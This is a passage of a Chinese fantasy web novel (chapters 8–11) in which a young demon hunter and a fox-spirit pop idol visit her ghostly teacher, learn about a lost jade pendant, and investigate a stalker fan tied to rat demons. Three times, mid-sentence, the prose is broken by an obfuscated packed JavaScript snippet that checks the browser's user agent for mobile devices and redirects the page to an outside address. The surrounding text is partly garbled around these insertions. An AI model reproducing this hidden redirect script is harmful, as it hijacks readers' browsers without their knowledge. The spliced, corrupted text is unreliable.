“哦。”白茫低下头,默不作声了一会儿,才补充了一句,“有办法就好。” 两人互相蛐蛐了对方一阵子,吵架的事情立马被完全抛之于脑后了。 第二天,已经完成所有戏份拍摄的白茫找制片助理请了假,和祝青由一起向宗印派出发。 文蓝山地势险峻复杂,祝青由提前说明来回一趟至少得五六个小时。 “没什么专属旅游巴士之类的东西吗?”全副武装将自己的脸捂得严严实实的白茫看着祝青由推着自行车出来,一时间有些傻眼。 “想啥呢,文蓝山植被茂盛猛兽横行,都被列入自然保护区了。”祝青由一脚跨上座驾,抬下巴示意白茫上车,“不要天天想着旅游开发,绿水青山就是金山银山懂不懂。” “那我要坐前面。”白茫坚决捍卫自己的尊严,他这么高的个子像个小孩一样缩在自行车后座上实在是太窝囊了。 “行。”祝青由很爽快,见四周没人,伸手一挥就将他变回了狐狸,塞进了前面的车篮中。 “我是说我要你坐后座我来骑车!”白茫抗议,但无效。 “记得抓牢安全扶手。”祝青由脚刹一蹬,车轮上的符文亮起,自行车如闪电般疾驰,冲了出去。 文蓝镇中的大街小巷内,一道粉色的虚影朝着山林方向如鬼魅般掠过,看到的人都以为是今日阳光太刺眼产生的错觉。 “这里面根本就没有安全扶手——!!!”白狐狸在车篮内四个爪子笔直伸开,紧紧撑住两侧篮子内壁,发出凄厉的惨叫声。 8. 第八章 半晌后,祝青由的自行车停在了文蓝山脚下。 惊魂未定的白狐狸从车篮里探出个头来,晕头转向道:“终于到了吗?” “还没得很呢,这里只是我平时拿外卖的地方,”祝青由指了指陡峭的山崖,“坐稳了,我们还得骑上去。” 白茫看着一眼望不到头的山峰,心中久违地产生了几分绝望的情绪。 他抱住毛茸茸的小脑袋,痛苦地蹲下:“祝大人,以后我再也不诋毁您修炼不刻苦了。” 祝青由一脸沧桑地看向远方,将装逼贯彻到极致:“不过些许风霜罢了。” 虽然二轮车有多重阵法加持,行驶在崎岖山路上,还是难免上下颠簸,白茫脑袋一下下磕在车篮上,幸好有厚厚的一层皮毛垫着,否则肿起来的包可能都有三层楼那么高。 碍于车篮里传来的狐狸叫过于刺耳,祝青由的脚程比预计的慢了一些,赶到宗印派的时候,天已近乎全黑。 宗印派规模不大,看起来像是一个老旧的普通道观,观内中央,立着一块师祖的铭文碑。因为坐落于人迹罕至的深山里,外墙上附满了苍翠欲滴的爬山虎,晚上看去,几乎要找不到建筑的踪迹。 山内还没完全通电,师母站在门口,手里捧着烛火,目光隐隐有些责备:“回来得真早,不需要为师在这里等到年底。” 白茫听见声音,心里有些忐忑。 他小时候父母曾告诉过他一些关于人妖大战的故事。他知道一些老派的降妖师对妖类深恶痛绝,大有赶尽杀绝之势,直到现在也还有很深的偏见。 祝青由并不弱,她的师母只会更厉害,他现在连一丝自保的能力都没有,跟着祝青由一起过来,纯粹是头脑一热忘了自身安危。 “途中遇到了一些意外,您听了可别生气,”祝青由从自行车上下来,长途跋涉令她有些疲倦,“弟子在手机上留言了,不知道是不是因为信号不好,一直没收到您的回复。” 师母低头检查了一下电子设备:“不好意思,欠费忘缴太久,停机了。” “……” 白茫想了想,还是冒险从车篮里钻了出来。师母看见了:“哟,孝顺了,还给我带了城里的特产。” 祝青由怕师母真把白茫当特产宰了做围脖,连忙施展灵力让他恢复了人身。 师母点点头:“原来是长大了,也敢把外面的野男人公然往家里带了。” 她围着白茫转了一圈,看见了因为太过疲倦没收起来的狐狸尾巴:“没想到你还是个福瑞控。” “……” “你师母说话方式很有特色啊。”白茫悄声对祝青由说道。 祝青由也压低了声音在他耳边回复:“老太太一个人住久了,说话刻薄点也是应该的。” 师母如幽灵般从后面一人一拳,赏赐给他们一个头顶小红包当做见面礼:“在说什么呢?” 祝青由捂着脑袋痛苦道:“我们在说师母伶牙俐齿口才不减当年……” “油嘴滑舌,发生了什么,老实交代吧。”师母大步流星地走回观内,二人紧跟而上。 宗印派人丁萧条,当下只有祝青由和师母二人。师母面容看起来不过四十余岁,端正清丽,永远是一副一本正经的样子。 她坐在茶室内,听着祝青由一五一十将这几天发生的事情说来,不由得对着白茫感慨道:“从前哪有你们这么好的条件啊,妖怪们修行无路,稍有一些机缘就容易犯戒,还得四处躲避我们降妖师的追杀。” “没办法,颜值也是实力的一部分。”白茫得意一笑。他知道对方不会伤他了。 “镇妖佩分为阴佩和阳佩,这只是其中的一块,”师母解释道,“阴佩能吸收妖力将其转化为降妖师的灵力,而阳佩则相反,又叫锁仙佩,可以将灵力转化为妖怪的妖力。” “不过为什么那只虎妖却没事?”祝青由百思不得其解。 “那是因为他太弱了。镇妖佩遇强则强,是在关键时候保你性命的,根本没把那只虎妖放在眼里。这狐妖倒是有几分本事,因此镇妖佩将他的妖力吸收到了极致,你这几日有没有感觉灵力强了不少。” “坏女人!还我修行!”白茫立马摆出债主的派头。 “镇妖佩既然是宗印派的镇山之宝,那锁仙佩应当也在我们山中。师母,你快把它拿出来吧,我这就和这只臭狐狸恩怨一笔勾销,各自分道扬镳。”祝青由和狐妖扭打成一团。 “锁仙佩已不在此处。”师母淡然道,“二十五年前,你的师兄徐青远带着它下山降妖,从此不知所踪。” “等等,不知所踪的是玉还是人?”白茫迷惑。 “等等,我居然还有一个师兄?!”祝青由震惊。 “都不见了。”师母给了她一记眼刀,“我都在这山上呆了五十多年了,十八年前才捡到了你。在此之前要是一直独居,不知道会刻薄成什么样子。” 祝青由心虚地挪开了眼神。 “我的妖力啊……”白茫悲痛欲绝,“难道我终生都得和这个坏女人捆绑在一起了吗?这和被强取豪夺有什么区别!” “我的师兄啊……”祝青由痛心疾首,“这么多年了无音讯,多半是出意外了。不知道是栽在了哪个妖怪手里,哎呦,我要为他报仇。” “也不一定是死了。”师母凉凉道,“也可能是叛变了。毕竟,你师兄徐青远,就是一只蛇妖。” “啥?!”两人同时惊叫出声。 从前的降妖师和妖怪几乎是天敌关系,像他们一样携手合作已经是举世罕见,怎会有妖怪拜入降妖师门下,又怎会有降妖师愿意收妖怪为徒。 但师母神色淡淡的,似乎不以为意。 “我没办法离开文蓝山,”师母继续说,“本来我已经打算忘了那个男人,但既然天意安排如此,你就从此下山去,替我找到锁仙佩,也算是替师祖情理门户了。” “喂……”白茫听了一会儿,此时突然开口问:“那个人强不强啊,我现在没有妖力,要是他把祝青由打死了怎么办?我上哪找经纪人去。” 妖力和灵力是天底下两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372623|199996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 股此消彼长的对立力量,相互斗争已长达千年,不敢想一个生物如果同时掌握了这两种力量,会有多么强大,又多么吓人。 “臭狐狸不许小瞧我!”祝青由去拽他的狐狸尾巴,被白茫一个扫尾躲开了。 “我自然不会放心你一个人面对,”师母从一个沾满了灰的沉重木盒里拿出一张皱巴巴的小纸条,“这是你师叔的地址,你进城之后可以去找他来帮忙。他是百年来降妖界排名第二的天才,据说也在演艺圈混得有些起色。他看到宗印派的印记,会尽心竭力助你的。” “那排名第一的是谁?”白茫忍不住发问。 “自然是本座我了。”祝青由骄傲极了。 师母挤出一丝冷淡的微笑:“有这份自信,比什么都重要。为师真为你感到高兴。” “他手上可是有锁仙佩的。”白茫提醒道,“到时候我成了一只普通的白狐狸,你成了一个听不懂我说话的普通人。届时可别忘了拨打动物保护热线,我也算是一只珍稀动物。” “做梦吧,我只会拨打AAA皮草批发的号码,把你做成围脖天天穿出去。”祝青由嘻嘻哈哈,笑得很邪恶。 “拒绝皮草,人人有责。”白茫一脸严肃,“狐狸的命也是命。” 师母站起身:“山中苦寒,观内可没有狐狸窝,你要睡哪里?” 祝青由摆摆手:“没事的师母,他可以和我一起睡。” 师母脸上的震惊一闪而过:“不错,国家性教育普及工作做得很好,我们宗印派很快就能狐丁兴旺了,说不定明年还能开个皮草批发铺财源广进。” “拒绝非必要杀戮,用棉花代替皮草,好吗?好的。”白茫在道观内打响动物保护的第一枪。 “我每天睡前都会把他变回狐狸的,师母我真的不是福瑞控,我没有那么变态。”祝青由言辞恳切,转头又安慰白茫,“放心好了,我师母那么抠搜,怎么可能用真货,最多拿你的照片发朋友圈,然后卖人造皮革。” “咚”的一声,祝青由脑袋上又多了一个小包包。 师母眯眼微笑着,推门准备离开:“时候不早了,青由要是不介意的话,你们俩就睡一个房间吧。”说罢,吹灭了房中的烛火便离开了。 “她有什么好介意的,”白茫朝着师母的背影做鬼脸,又飞快地跳进青由的外套口袋里,生怕自己一个人被遗弃在漆黑黑的观中,“如此有经济实力的本大帅哥,屈尊和其他人一起睡在狭小的房间里,才是受委屈了,好不好。” 祝青由弹了他一个脑瓜崩,便带着它朝着自己房间走去。 她从小生活在这观内,不需要点灯也能分得清方向,走得非常稳当。反而是口袋里的白茫抱着她的腰,甚至比在她上下颠簸的车篮里还要紧。 “怎么了?不会是怕黑吧。”她忍不住嘲笑道。 “原来这是你的腰吗?太黑了,我还以为不小心抱到柱子了呢。”白茫其实怕得要死,但还是嘴硬。 “咚”的一声,祝青由师承一脉的拳头便落在了他脑袋上。 9. 第九章 祝青由带着白茫走到房间门口,她不在的这几日师母都有好好为她打扫晾晒,因此也不用担心没处落脚。 只是她推开门的一瞬间,如同见了鬼一般吓了一大跳,下意识地把兜里的白茫扔了出去。 “什么鬼!坏女人快让我进来!”门外的白茫独自一人面对伸手不见五爪的黑暗,吓得咚咚敲门。 祝青由房间内,密密麻麻贴了数张白茫的巨幅海报,桌上床头还摆满了各式各样的相关周边,都是她之前省吃俭用从除妖经费中省下钱来买的。 要是被白茫看见了,一定会狠狠嘲笑她的痴女行为。以后还怎么保持她作为经纪人和降妖师的双重权威,还怎么督促这只笨狐狸努力工作天天向上? 不行不行不行!祝青由一股脑儿地把东西全收进了衣柜,狠狠心还是咬牙把墙上的海报全撕了。反正……至少她接下来天天都能看见真人了。 “开门呀,开门呀!”白茫在门外快吓傻了,深山里的黑和城市里的完全不一样,仿佛有实体般,正在轻轻抚摸他的后背。 祝青由收拾完马上拉开门,白茫原地起飞跳到她肩膀上,挽住她的脖子,瑟瑟发抖好一会儿才缓过劲来。 祝青由见他实在害怕,便难得抚摸了几下后背以示安慰,却遭遇了白茫声音颤抖的吐槽:“不许趁机占我便宜。” “……” 祝青由打开灯,用枕头和床单在床脚搭出一个柔软小窝:“狐狸不是夜行动物吗,你怎么还怕黑?” “你懂什么,”白茫神经兮兮地四处检查,“荒山野岭的道观,黑灯瞎火的晚上,简直是恐怖故事的天选背景,我以上百部恐怖片的观影经验和狐狸的第六感保证,今晚一定会发生一点什么。” 祝青由正想吐槽这么胆小的狐为什么爱看恐怖片,就听见白茫惨叫一声,飞速蹿进她怀里:“床、床底下有一张人脸!” 他浑身毛发竖起,狐狸尾巴更是有平时两三倍大,看上来简直和毛绒玩具别无二致:“那个东西偷了我的脸!等下他要是冒充我,你一定不能色令智昏被他的颜值迷住啊。” 祝青由寒毛竖起,飞速把灯关掉,并不是因为害怕,而是因为床底下藏着的,正是她撕下来的巨幅海报。 白茫无论说什么都要开灯:“我并不是怕黑,我只是不允许有鬼侵犯我的肖像权,我将用我的律师函誓死捍卫我的合法权益!” 祝青由守着床底,死活不让:“节约用电,人人有责。这里是道观哪来的野鬼,别多想快睡吧。” “我算是知道为什么恐怖片主角面对异常非要假装无事发生了,原来是编剧抄袭了你的日常。本大帅哥决不能不明不白地死在这里,很多粉丝会伤心的。” 白茫虽然说话毫无口德,但做爱豆出乎意外的很有豆德,危急关头想起的身后事居然还是自己的粉丝们。 狐狸形态的他身法灵巧,一扭身就躲过了祝青由的擒拿,如同一个弹射的白团子撞在开关上,又弹回了床底下,用牙咬着刚才看见的东西拖了出来。 “!!!” 看清了是什么东西之后,一人一狐四目相对,面面相觑。 一时间不知道应该是祝青由先嘲笑白茫胆小如鼠,还是应该是白茫先嘲笑祝青由丢人现眼。 “……要不……先睡吧?”不知是谁先提议,另一个人点了点头,配合着熄了灯。 黑漆漆的房间内,两人都不说话,只有绵长的呼吸声逐渐变得清晰。 一阵夜风拂过,透过老旧的木质窗缝,吹起一角碎花棉质窗帘,传来一点茉莉混合着薄荷的清香。 乌云散去,月光固执地穿过层层树梢,洒在床头。 “我真没想到你竟爱我至此。”白茫仰躺在枕头窝里,盯着天花板,突然动情地开口说道。 “滚!!!”祝青由一脚把他踹飞了出去。 …………………… 第二天早上,师母给他们准备了简单的早餐,看着白茫顶着黑眼圈却一脸心满意足,而祝青由魂不守舍不敢与他对视,点了点头,露出了了然之色。 “师母,你别误会,不是你想的那样……”祝青由弱弱地开口。 师母有些惊奇:“原来不是他发现了你藏起来的周边然后嘲笑你最后遭了打吗?那看来是发生了一些有违祖训的事了,记得走前去师祖碑前领罚。” 祝青由痛苦地闭上眼睛:“其实就是你想的那样。” 白茫得意极了,就连平日里根本看不上的粗茶淡饭此时吃起来也感觉额外的香甜:“嘴硬的女人,平时一口一个脱粉了,还不是把我的大头照藏在房间的最深处。承认吧,其实这段时间你看到我的每一眼都觉得自己赚了。” “不止大头照吧。”师母凉凉地说,“好像还有什么顶流的精品写真集、绝版艺术册、稀有小卡、代言包装纸……都是宁可饿着肚子也要买下来的。” 白茫笑得春光灿烂,谄媚地为师母的杯子蓄满豆浆:“呵,女人,真是爱乱花钱,师母赚钱多不容易啊,你想要的这些求我两声不都有了吗。” 祝青由转头一脸正色道:“师母麻烦等下帮我把我所有的周边都挂到闲鱼上卖二手,标题就是脱粉打包大盘,标价五块就够了,反正都是些没人要的便宜货。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372624|199996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喂喂喂,坏女人!不许扰乱市场价!”白茫急了,他觉得自己的周边加起来还是能值套海景房的。 “再吵就把你抓起来当二手皮草卖。”祝青由摆出凶狠相。 ………………………… 白茫在剧组只请了一天的假,吃过早饭之后便要回去了,师母也没有留他们。 “弟子这次要很久不回来了,您一个人要小心哪。”祝青由扶着自行车,转身挥手告别。 她的行李很少,总共也就几件衣服和法器。法器绑在后座上,衣服便塞进车篮充当白茫的安全坐垫。 师母这次难得没有说反话,只是微微一笑:“一路小心,别被坏男人骗了。” “放心好了,我会帮你盯着她的。”白茫突然插嘴道。 师母走上前,拍去她肩膀粘上的狐狸毛:“不管你以后回不回来,你都是我最好的弟子。” 祝青由眨巴眨巴眼睛,等着师母再接上一句惊世之语,但她说完便转身回道观里去了。 她也没来得及再说些告别的话,便只好载着白茫往山下走去。在连下了几个坡之后,她又没忍住回头向上望去,树影交错中,还能勉强看见道观的一角,那里是她从小生长的地方, 而在这一角内,师母竟也站在那里,默默目送她离去。 “怎么和嫁人一样依依不舍的。”白茫隐约捕捉到了一丝离别的愁绪,但还是不合时宜地说道,“又不是今后见不到了。真不行我出资包辆直升机,也带师母进城住两天。” “我师母离不开文蓝山。”祝青由骑着车,两边景色飞速向后掠去。 “五十多年前,我师母和师叔联手捉拿一只冒充真龙的蛇妖,虽然最后成功斩破了它的妖丹,但我师母也在鏖战中殒命了。” “我师叔是个逍遥修,难扛重担。我师祖一来舍不得弟子英年早逝,二来担心宗印派后继无人,便以自己毕生的灵力构筑成符文维持住了我师母的魂魄,让她寻找下一任传人。” “师祖的符文刻在道观的石碑上,因此我师母的魂魄绝对无法离开那里。” 白茫面露惊异之色:“也就是说,我昨晚真的看到鬼了?” 他猛然回头望去,道观已被层层青山绿树吞没,好似那里本来就空无一物,唯有一道隐约的目光,落在他们的身上。 “嗯。”祝青由没有再回头,“一只很刻薄,也很孤独的鬼。” 白茫若有所思,伸出他的小爪子拍了拍车把上祝青由的手:“至少我会陪着你,你不用担心自己也变成一个刻薄老太以后没人喜欢你。” 祝青由笑了:“臭狐狸。” 10. 第十章 “你是说,你一个一没有工作经验,二没有熟人内推,三没有大厂实习的人,要来我们这家国内顶尖娱乐公司给全公司最大的摇钱树当经纪人?”办公室内,一个西装革履的中年男人坐在豪华老板椅上,面色冷峻。 “对。”办公桌另一边的祝青由老老实实地点点头。 “现在连菜市场大妈都不买三无食品了,你凭什么认为我会录取一个三无员工?”老板把文件往桌上一拍,神色倨傲。 “我来了之后他在剧组没迟到过一次。” “恭喜你被录取了!”老板站起身,笑容满面地和她握手,飞速签好了合同。 祝青由捏着文件走出办公室时,白茫已经在前台休息室等她很久了。 其他人拥挤在角落里,唯独他身边空无一人。整个休息室以他为中心,自动形成半径约两米的透明屏障。 并非是白茫不受欢迎,无数娱乐圈男男女女都想和这位极少现身公司的业界传奇打声招呼,只是本就因其外貌而自惭形秽的心,轻而易举地就被空无一物的漠然神色逼退。 祝青由看着窗外的阳光照在白茫的侧脸上,心想着若是能截图下来,这简直是所有上网男生都渴望拥有的极品忧郁男头。 她穿过人群,坐到白茫身边:"真是难以相信,离开了师母的保护伞之后发现外面根本没有雨,我人生的第一份正经工作,居然能拿到这么高的薪水。" 祝青由看着文件上的数字,啧啧有声,暗想自己以后除了周四之外的每一天都点一份肯德基,不吃,纯玩。 “这还只是底薪,”白茫语气很平淡,“你的绩效还和我的业绩挂钩,以后还会有更多呢。” 祝青由振奋了,这样下去她登上降妖界的福布斯榜也并非没可能。虽然这份薪水和降妖没什么关系,但也算是白茫这只狐狸精给她带来的。 “你怎么这么没精神?”祝青由歪头观察他的异状,“不会还在试图假装高冷帅哥引起我的怜爱,以此逃避接下来的工作吧?” “没指望你这么好心。”白茫悲愤地收起眼泪,“这个月底就到公司安排我去C城签售的日子了。” C城签售会祝青由听说过,主题是“奇迹”,在她还是眼前这只臭狐狸的粉丝时,就一直梦想着有一天能攒够钱参加一次线下的签售会。 “奇迹”签售会是近期白茫粉丝圈内最大的活动,所有的参与门票都以抽奖形式夹带在最新发售的专辑中,因此几乎所有的真爱粉这段时间都在疯狂买入大量专辑,希望能淘得一次和自家爱豆见面的机会。 “你可不要告诉我,你是因为不想对粉丝营业所以才这么垂头丧气。”祝青由马上准备要写八百字脱粉回踩真心错付小作文挂到超话里了。 “不能说是所有粉丝,只能说极个别……”白茫手撑着下巴,陷入了沉思。 …… 四五年前,白茫刚出道没多久,第一次举办个人签售会还很兴奋。 当时的经纪人强制要求他对每一位粉丝都说一句“谢谢你来看我,以后的日子请多多见面”。 面对一张张陌生而热切的粉丝面孔,初入行的白茫紧张得要命,别说主动媚粉了,连一个像样的表情都挤不出来,最后只能维持着一张冷脸签售完了全场。 直到签到最后一位粉丝时,白茫在耳麦中经纪人的再三催促下,终于逼着自己将嘴角的弧度上扬了一丝,生硬地说出了那句“谢、谢你来看我,以、以后的日子请多多见面……吧?” 就当他以为自己搞砸了的时候,对方却突然眼神发光,紧紧抓住了他的手,力气大得不逊于捕兽夹的咬合力:“我愿意!无论发生什么,我都一定会来看你的!” 而四五年来,几乎每一次签售,这位粉丝都几乎没有缺席过。 “这不是很好吗?”祝青由打断白茫的回忆,十分不解,“有一位舍得花钱的死忠粉,是娱乐圈糊糊们梦寐以求的事情啊。” “不,你先听我说完……”白茫面色十分难看,仿佛脑海中出现了不愿回忆的画面。 第二次,第三次重新见到粉丝的时候,白茫确实很感动,也十分自恋,对着当时的经纪人很臭屁地讲些以本帅哥的魅力根本不需要认真营业稍微释放一点魅力就能牢牢粘住粉丝的心之类的话。 但是在第四次、第五次见到她的时候,白茫就再也笑不出来了。 因为这位粉丝根本就不洗澡!!! 她每次都穿着一模一样的衣服,保持着一模一样的发型,也不管衣服上沾上了什么样的污渍,头发上散发着什么样的腐臭味,她都视而不见,仿佛眼里只有白茫一个人的存在。 而白茫眼里从诧异到恐惧的转变,她却是一点也没有发现。 “第六次见面的时候,她要求我对准了她手上的黑色斑点握。我问她那是什么,她说那是我第一次握她的手之后,留下的汗液滋长出的霉菌。”白茫崩溃地双手抱头,不难想象他最后还是克服了生理本能,选择和自己播撒下的霉菌亲密接触。 真是好敬业的一只狐啊。祝青由钦佩地点点头。这霉菌也算是告老还乡落叶归根了。 “我以为这就是极限了,却没想到在第七次见面的时候,她从胸口衣领里面掏出了一只老鼠送给我。”白茫两眼发空,“她说这只老鼠是上次见面的时候跑进她衣服里面的,算是我俩爱情的结晶。” “老鼠和狐狸嘴巴都尖尖的,你就睁一只眼闭一只眼认下算了。”祝青由有时候真的很没有良心,将自己的嘴炮建立在他人的痛苦之上。 “到了第八次的时候,呵……”白茫居然笑了一声,似乎是有点疯掉了。 “她身上的气味已经大到整个活动场都能闻到了,为了避免消息传出去影响我的商业价值,我邪恶的前任经纪人居然买了一堆螺蛳粉、臭豆腐、老北京豆汁儿当做是粉丝应援餐,硬生生把它掩盖了过去。” 这下就连祝青由都笑不出来了,不由得为他当时的惨状默哀了三秒钟。 狐狸的嗅觉据说是人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372625|199996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 类的五百倍以上。 那天前任经纪人夸他表现很好,把公司安排的高冷人设贯彻到了极点,即便是面对意外突发情况也能泰山崩于前而不变色。 却殊不知白茫实际上已经被熏晕过去好一会儿了。 “然而这还不是极限……第九次、第十次、第十一次……我看了几百部恐怖电影来训练自己的胆量,但那个女人出现的时候,我其实还是忍不住想叫救命。” “也不是没想过把她拦在外面,但哪怕是把签售券的销售方式改成随机抽签,她最后还是能得到门票。甚至这几次她已经逐渐不满足于签售,三番四次偷走我住过的酒店的垃圾、尾随公司工作人员、偷偷买下我出行时的隔壁座位。” 白茫丝毫不怀疑,若不是自己是个妖怪有妖力傍身,早已被对方摧残成了残花败柳。 而自己要不是受到降妖师协会颁发的《妖族行事规范》的制约,也早已忍不住痛下杀手换未来几十年清净。 祝青由有些怀疑,白茫的前几任经纪人纷纷选择离职的原因,除了这个臭屁狐狸性格恶劣难驯之外,也有这个行事诡异的私生饭一半功劳。 “这时候动之以情,晓之以理已经没有用了,只能让家里找个高人来看看了。”祝青由叹息道。 白茫突然抬头:“喂,坏女人,你不就是个降妖师吗?感觉和道士也差不多,要不干脆试试给她驱邪算了。” 祝青由很无语,闻道有先后,术业有专攻。降妖师虽然和道士一样住道观穿道袍,但区别就和精神科医生和神经科医生一样大,是两个完全不同的细分领域。 现在的妖族居然连这点常识都不懂,真是一代不如一代! 妖界迟早要完。 虽然赛道不同,但现在祝青由身兼经纪人的职位,自然不能对这个问题置之不理。 公司的后台可以查看到谁核销了抽中的签售门票,祝青由要求后台人员在核销界面增添上家庭住址的填写栏目,表示会准备意外惊喜寄送给幸运儿。 “堵不如疏,”祝青由评价道,“与其被动地见招拆招,倒不如干脆主动找上门去,看看这个女孩到底是出了什么事情,有没有破解之法。” 等了两三天,果不其然,在白茫又惊又虑的目光中,后台收到了那个神秘粉丝的核销信息。 祝青由收拾准备了一番,便带着白茫出发一探究竟。为了避免白茫被疯狂粉丝缠上引起更大的麻烦,她还很贴心地把他变回一只白狐狸,还贴了一个标签。 “这是干嘛用的?”白茫看着标签很不解。 “据说很多精神病都有虐待动物的前科,”祝青由说,“我怕万一你落入她手里我一时救不了你,你可以一动不动假装自己是个玩偶,也许她很快就会对你失去兴趣。” “……” 两人赶到公司给的地址时,祝青由的背包里传来刺耳的摩擦声。 她打开包拿出东西,发现那竟然是刹海罗盘—— 它在疯狂地旋转。 11. 第十一章 “没道理哇……”白茫啃着自己的狐狸爪沉思,“我当时也没感觉到她身上有妖气,难道是被臭味掩盖了?” 祝青由一言不发地从背包侧面抽出桃木剑,然后把白茫塞了进去,假装他是个挂件娃娃。 以她二十年来积累的降妖知识来看,妖气收放自如的妖怪就和尿意收放自如的人类一样,不仅很罕见,而且很可怕。 白茫正要抗议她对待手下艺人行为粗暴,却被祝青由用虎口捏住了小嘴套:“别吭声,从现在起你就假装自己是个挂件,别被人发现了。” 白茫心底愤愤不平,有没有搞错,我可是你珍贵的摇钱树,竟敢这样对待我。 他们此时所处的小区看上去只是一片再普通不过的居民楼,只是那位神秘粉丝留下的地址很独特。 她没有写清楚自己住在几栋第几单元,反而要求寄件人将神秘礼物放到小区入门东走三百米第二个下水口的栅栏间隙之间。 “好谨慎的做法。”祝青由沉思,“难不成她知道会有人通过后台信息追查她?” 白茫尽职尽业地扮演着毛绒挂件,呆在背包侧边不敢动弹,但眼珠子非常八卦地拼命往下水道方向瞟:“会不会是担心被降妖师追杀?” 祝青由凝聚灵力仔细分辨,此地弥漫的妖气与白茫身上的截然不同,散发着淡淡的怨念,看来此妖并非善类。 “不能打草惊蛇。”祝青由打算引蛇出洞,戴上提前准备的快递员帽子,将精心准备好的礼物轻轻放在了下水道门口。 “里面是什么东西?”白茫咬紧牙关,用腹语问道。 祝青由飞速离开躲进暗处后,小声回答道:“我偷拍的一些你的极品丑照。” “!?”白茫刚想破口大骂,就又被祝青由捏住了小嘴套。 “这是我的PlanB,”她脸不红心不跳,“要是本次行动失败了,我们可以祈祷她看到丑照后心碎脱粉,以后不会再来骚扰你。” 白茫等她松开手,咬牙切实地低声警告:“不许你发到别的地方去。” “嘘嘘别吵,有动静。”祝青由小声警告,聚精会神地观察其敌方动向。 之间下水道口里冒出一只半个手掌大小的老鼠,围着信封打转了好几圈,细细嗅过之后,才用啮齿咬着信封的一角往下水道里面拖。 “快看,你的爱情结晶。”祝青由催促道。 “我优良的基因生不出这么丑的小孩,”白茫快气晕了,“而且狐鼠有别,我们除了嘴巴尖尖的哪里也不像!” 下水口栅栏缝隙都是竖着排列,小老鼠孤掌难鸣,没办法把信封立起来拖进去,于是转身返回下水道里面,又叫出了几只身量比它还小一圈的迷你老鼠,齐心协力一起把信封运了进去。 “恭喜恭喜,儿孙满堂。”祝青由紧紧盯着对面的动向,嘴巴却是一刻也没有闲着。 “我要和公司投诉辞退你!”白茫居然有点怀念之前的经纪人了,从来都是他把别人气得半死,哪里受过这种委屈。 “请白顶流高抬贵手放过我,我们穷人家的孩子不能失去这份来之不易的工作。”祝青由装模作样地合十忏悔。 信封里放了白茫的丑照不假,但祝青由没说的是,信封里侧画了一张倾注了她灵力的追踪阵法。 她闭目装着忏悔的时候,脑内神识中慢慢浮现出一张地图,那是老鼠们拖着信封在管道内移动的轨迹。 她以阵法为媒介,让自己的一缕灵力在楼中慢慢扩散开来,发现这栋看似普通的居民楼里几乎每个隐藏的管道之中都占据着打量的鼠类,它们蛰伏在黑暗里,悄悄窥视着人们的一举一动。 祝青由屏息凝神,仔细辨别着每一只鼠身上的妖族的气息。在她的神识内,妖气越强的鼠身上亮起越鲜艳的红点。 这些红点在管道内四处奔走,逐渐向二号楼十楼的一户人家靠近,而那里密密麻麻的红点汇聚成一片,形成了一个侧卧的人形。 “有一个好猜想和一个坏猜想,”祝青由睁开眼睛突然开口说,“你的这位粉丝可能是鼠妖变的。” “那好的呢?” “刚刚说的就是好的,还有一个坏猜想,就是她被鼠妖蛀空了躯体,群鼠操纵她的皮囊在生活。” 白茫狐麻了,他看完了几百部恐怖片,不代表他愿意在现实生活中面对类似的剧情, 虽然他也是妖怪,但是是一只长在红旗下活在春风里的新时代社会主义好妖,一言一行都严格遵守《妖族行事规范》,不仅熟背二十四字核心价值观,还时不时为慈善活动站台。 怎么就招惹上这样的怪物了呢? “想开点,”祝青由安慰他,“至少说明你的魅力跨越了物种隔离,把老鼠也迷得死死的。” 白茫难得被坏女人当面肯定了,却高兴不起来。 “现在怎么办?起阵捉妖吗?”白茫眼见着祝青由拿着桃木剑,在十号楼附近的草丛里比划些什么东西,忍不住好奇地问。 他从尾巴里摸出随身携带的镇妖佩,生怕祝青由出什么意外不敌:“还是先把它们妖力吸收完了,再拿点□□扔下水道里吧。” “楼里居民太多了,我怕到时候鼠妖鱼死网破伤害无辜,还有,”祝青由些许无语地瞥了白茫一眼,“在公共管道投放危险品是要坐牢的。” “那怎么办?”确认对方没有发现自己后,白茫索性也不装毛绒玩具了,跳上祝青由的肩膀。 “本座自有妙计,但也还需要白顶流的鼎力相助,”祝青由一脸坏笑地捏起他的后颈,然后一个标准投掷将他抛了出去,“上吧!皮卡丘!” 白茫在空中画出一到完美的抛物线,在落地的一瞬间被她变回了人形。 他还没反应过来,祝青由就冲着二号楼喊了嘹亮的一嗓子:“这不是大明星白茫吗!怎么来我们小区了!” 话音刚落,每层楼都探出了好几个脑袋四处张望,目光纷纷落在白茫身上。 “哇,真是白茫!”很快就有眼尖的人认出他来了。 “长得好帅啊,怎么来我们小区了?” 